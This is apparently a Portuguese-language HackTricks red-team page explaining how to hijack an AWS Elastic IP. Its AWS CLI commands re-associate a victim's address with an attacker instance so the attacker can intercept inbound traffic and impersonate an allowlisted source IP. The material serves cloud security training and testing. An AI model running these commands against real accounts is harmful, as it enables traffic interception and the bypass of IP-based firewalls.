AWS - Elastic IP Hijack para Ingress/Egress IP Impersonation

Reading time: 3 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Resumo

Abuse ec2:AssociateAddress (e opcionalmente ec2:DisassociateAddress) para re-associar um Elastic IP (EIP) de uma instância/ENI vítima para uma instância/ENI do atacante. Isso redireciona o tráfego de entrada destinado ao EIP para o atacante e também permite que o atacante origine tráfego de saída com o IP público allowlisted para contornar firewalls de parceiros externos.

Pré-requisitos

  • ID de alocação do EIP de destino na mesma conta/VPC.
  • Instância/ENI do atacante que você controla.
  • Permissões:
  • ec2:DescribeAddresses
  • ec2:AssociateAddress on the EIP allocation-id and on the attacker instance/ENI
  • ec2:DisassociateAddress (opcional). Nota: --allow-reassociation irá auto-desassociar da associação anterior.

Ataque

Variáveis

bash
REGION=us-east-1
ATTACKER_INSTANCE=<i-attacker>
VICTIM_INSTANCE=<i-victim>
  1. Alocar ou identificar o EIP da vítima (o laboratório aloca um novo e o associa à vítima)
bash
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
  1. Verifique se o EIP atualmente resolve para o serviço da vítima (por exemplo, verifique o banner)
bash
curl -sS http://$EIP | grep -i victim
  1. Re-associar o EIP ao atacante (desassocia automaticamente da vítima)
bash
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
  1. Verifique se o EIP agora resolve para o attacker service
bash
sleep 5; curl -sS http://$EIP | grep -i attacker

Evidência (associação movida):

bash
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
--query Addresses[0].AssociationId --output text

Impacto

  • Inbound impersonation: Todo o tráfego destinado ao EIP sequestrado é entregue à attacker instance/ENI.
  • Outbound impersonation: Attacker pode iniciar tráfego que aparenta se originar do allowlisted public IP (útil para contornar filtros de IP de parceiros/fonte externa).

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks